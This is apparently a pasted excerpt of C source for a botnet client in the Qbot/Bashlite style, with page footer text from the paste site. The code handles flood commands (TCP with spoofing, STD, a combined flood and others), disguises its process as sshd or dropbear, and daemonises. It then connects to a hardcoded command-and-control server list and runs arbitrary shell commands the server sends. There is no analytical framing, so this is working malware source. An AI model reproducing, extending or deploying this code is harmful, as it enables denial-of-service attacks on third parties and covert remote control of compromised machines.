  2514. if(!strcmp(argv[0], "CNC"))
  2515. {
  2516. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2517. {
  2518. return;
  2519. }
  2520. unsigned char *ip = argv[1];
  2521. int port = atoi(argv[2]);
  2522. int time = atoi(argv[3]);
  2523. if(strstr(ip, ",") != NULL)
  2524. {
  2525. unsigned char *hi = strtok(ip, ",");
  2526. while(hi != NULL)
  2527. {
  2528. if(!listFork())
  2529. {
  2530. sendCNC(hi, port, time);
  2531. close(D1ckSucka);
  2532. _exit(0);
  2533. }
  2534. hi = strtok(NULL, ",");
  2535. }
  2536. } else {
  2537. if (listFork()) { return; }
  2538. sendCNC(ip, port, time);
  2539. _exit(0);
  2540. }
  2541. }
  2542. if(!strcmp(argv[0], "COMBO"))
  2543. {
  2544. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2545. {
  2546. return;
  2547. }
  2548. unsigned char *ip = argv[1];
  2549. int port = atoi(argv[2]);
  2550. int time = atoi(argv[3]);
  2551. if(strstr(ip, ",") != NULL)
  2552. {
  2553. unsigned char *hi = strtok(ip, ",");
  2554. while(hi != NULL)
  2555. {
  2556. if(!listFork())
  2557. {
  2558. sendJUNK(hi, port, time);
  2559. sendSTD(hi, port, time);
  2560. sendHOLD(hi, port, time);
  2561. close(D1ckSucka);
  2562. _exit(0);
  2563. }
  2564. hi = strtok(NULL, ",");
  2565. }
  2566. } else {
  2567. if (listFork()) { return; }
  2568. sendJUNK(ip, port, time);
  2569. sendSTD(ip, port, time);
  2570. sendHOLD(ip, port, time);
  2571. _exit(0);
  2572. }
  2573. }
  2574. if(!strcmp(argv[0], "STD"))
  2575. {
  2576. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2577. {
  2578. return;
  2579. }
  2580. unsigned char *ip = argv[1];
  2581. int port = atoi(argv[2]);
  2582. int time = atoi(argv[3]);
  2583. if(strstr(ip, ",") != NULL)
  2584. {
  2585. unsigned char *hi = strtok(ip, ",");
  2586. while(hi != NULL)
  2587. {
  2588. if(!listFork())
  2589. {
  2590. sendSTD(hi, port, time);
  2591. _exit(0);
  2592. }
  2593. hi = strtok(NULL, ",");
  2594. }
  2595. } else {
  2596. if (listFork()) { return; }
  2597. sendSTD(ip, port, time);
  2598. _exit(0);
  2599. }
  2600. }
  2601. if(!strcmp(argv[0], "TCP"))
  2602. {
  2603. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2604. {
  2605. return;
  2606. }
  2607. unsigned char *ip = argv[1];
  2608. int port = atoi(argv[2]);
  2609. int time = atoi(argv[3]);
  2610. int spoofed = atoi(argv[4]);
  2611. unsigned char *flags = argv[5];
  2612. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2613. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2614. if(strstr(ip, ",") != NULL)
  2615. {
  2616. unsigned char *hi = strtok(ip, ",");
  2617. while(hi != NULL)
  2618. {
  2619. if(!listFork())
  2620. {
  2621. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2622. _exit(0);
  2623. }
  2624. hi = strtok(NULL, ",");
  2625. }
  2626. } else {
  2627. if (listFork()) { return; }
  2628. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2629. _exit(0);
  2630. }
  2631. }
  2632. if(!strcmp(argv[0], "STOP"))
  2633. {
  2634. int killed = 0;
  2635. unsigned long i;
  2636. for (i = 0; i < numpids; i++) {
  2637. if (pids[i] != 0 && pids[i] != getpid()) {
  2638. kill(pids[i], 9);
  2639. killed++;
  2640. }
  2641. }
  2642. }
  2643. if(!strcmp(argv[0], "HOODASSSHIT"))
  2644. {
  2645. exit(0);
  2646. }
  2647. }
  2648. int initConnection()
  2649. {
  2650. unsigned char server[4096];
  2651. memset(server, 0, 4096);
  2652. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2653. if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
  2654. else D1ckSuckaz++;
  2655. strcpy(server, hekkertelnet[D1ckSuckaz]);
  2656. int port = Server_Botport;
  2657. if(strchr(server, ':') != NULL)
  2658. {
  2659. port = atoi(strchr(server, ':') + 1);
  2660. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2661. }
  2662. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2663. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2664. return 0;
  2665. }
  2666. int getOurIP()
  2667. {
  2668. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2669. if(sock == -1) return 0;
  2670. struct sockaddr_in serv;
  2671. memset(&serv, 0, sizeof(serv));
  2672. serv.sin_family = AF_INET;
  2673. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2674. serv.sin_port = htons(53);
  2675. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2676. if(err == -1) return 0;
  2677. struct sockaddr_in name;
  2678. socklen_t namelen = sizeof(name);
  2679. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2680. if(err == -1) return 0;
  2681. ourIP.s_addr = name.sin_addr.s_addr;
  2682. int cmdline = open("/proc/net/route", O_RDONLY);
  2683. char linebuf[4096];
  2684. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2685. {
  2686. if(strstr(linebuf, "\t94.177.170.850\t") != NULL)
  2687. {
  2688. unsigned char *pos = linebuf;
  2689. while(*pos != '\t') pos++;
  2690. *pos = 0;
  2691. break;
  2692. }
  2693. memset(linebuf, 0, 4096);
  2694. }
  2695. close(cmdline);
  2696. if(*linebuf)
  2697. {
  2698. int i;
  2699. struct ifreq ifr;
  2700. strcpy(ifr.ifr_name, linebuf);
  2701. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2702. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2703. }
  2704. close(sock);
  2705. }
  2706. char *getBuild()
  2707. {
  2708. if(access("/usr/bin/python", F_OK) != -1){
  2709. return "SERVER";
  2710. } else {
  2711. return "ROUTER";
  2712. }
  2713. }
  2714. int main(int argc, unsigned char *argv[])
  2715. {
  2716. char *mynameis = "";
  2717. if(access("/usr/bin/python", F_OK) != -1){
  2718. mynameis = "sshd";
  2719. } else {
  2720. mynameis = "/usr/sbin/dropbear";
  2721. }
  2722. if(geteuid() == 0){
  2723. userID = 0;
  2724. }
  2725. char *Buildz = getBuild();
  2726. if(Buildz == "SERVER")
  2727. {
  2728. //If python is installed
  2729. } else {
  2730. //If python is not installed
  2731. }
  2732. if(SERVER_LIST_SIZE <= 0) return 0;
  2733. printf("BUILD %s:%s\n", getBuild(), inet_ntoa(ourIP));
  2734. strncpy(argv[0],"",strlen(argv[0]));
  2735. sprintf(argv[0], mynameis);
  2736. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2737. srand(time(NULL) ^ getpid());
  2738. init_rand(time(NULL) ^ getpid());
  2739. pid_t pid1;
  2740. pid_t pid2;
  2741. int status;
  2742. getOurIP();
  2743. if (pid1 = fork()) {
  2744. waitpid(pid1, &status, 0);
  2745. exit(0);
  2746. } else if (!pid1) {
  2747. if (pid2 = fork()) {
  2748. exit(0);
  2749. } else if (!pid2) {
  2750. } else {
  2751. //N
  2752. }
  2753. } else {
  2754. //N
  2755. }
  2756. setsid();
  2757. chdir("/");
  2758. signal(SIGPIPE, SIG_IGN);
  2759. while(1)
  2760. {
  2761. if(initConnection()) { sleep(5); continue; }
  2762. HackerPrint(D1ckSucka, "\x1b[0;32mConnected | IP: %s | Type: %s | Version: %s", inet_ntoa(ourIP), getBuild(), VERSION);
  2763. char commBuf[4096];
  2764. int got = 0;
  2765. int i = 0;
  2766. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2767. {
  2768. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2769. unsigned int *newpids, on;
  2770. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2771. pids[on - 1] = 0;
  2772. numpids--;
  2773. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2774. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2775. free(pids);
  2776. pids = newpids;
  2777. }
  2778. commBuf[got] = 0x00;
  2779. trim(commBuf);
  2780. if(strstr(commBuf, "PING") == commBuf)
  2781. {
  2782. HackerPrint(D1ckSucka, "PONG");
  2783. continue;
  2784. }
  2785. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2786. unsigned char *message = commBuf;
  2787. if(*message == '!')
  2788. {
  2789. unsigned char *nickMask = message + 1;
  2790. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2791. if(*nickMask == 0x00) continue;
  2792. *(nickMask) = 0x00;
  2793. nickMask = message + 1;
  2794. message = message + strlen(nickMask) + 2;
  2795. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2796. unsigned char *command = message;
  2797. while(*message != ' ' && *message != 0x00) message++;
  2798. *message = 0x00;
  2799. message++;
  2800. unsigned char *tmpcommand = command;
  2801. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2802. if(strcmp(command, "MOVE") == 0)
  2803. {
  2804. unsigned char buf[1024];
  2805. int command;
  2806. if (listFork()) continue;
  2807. memset(buf, 0, 1024);
  2808. szprintf(buf, "%s 2>&1", message);
  2809. command = fdpopen(buf, "r");
  2810. while(fdgets(buf, 1024, command) != NULL)
  2811. {
  2812. trim(buf);
  2813. memset(buf, 0, 1024);
  2814. sleep(1);
  2815. }
  2816. fdpclose(command);
  2817. exit(0);
  2818. }
  2819. unsigned char *params[10];
  2820. int paramsCount = 1;
  2821. unsigned char *pch = strtok(message, " ");
  2822. params[0] = command;
  2823. while(pch)
  2824. {
  2825. if(*pch != '\n')
  2826. {
  2827. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2828. memset(params[paramsCount], 0, strlen(pch) + 1);
  2829. strcpy(params[paramsCount], pch);
  2830. paramsCount++;
  2831. }
  2832. pch = strtok(NULL, " ");
  2833. }
  2834. processCmd(paramsCount, params);
  2835. if(paramsCount > 1)
  2836. {
  2837. int q = 1;
  2838. for(q = 1; q < paramsCount; q++)
  2839. {
  2840. free(params[q]);
  2841. }
  2842. }
  2843. }
  2844. }
  2845. }
  2846. return 0;
  2847. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement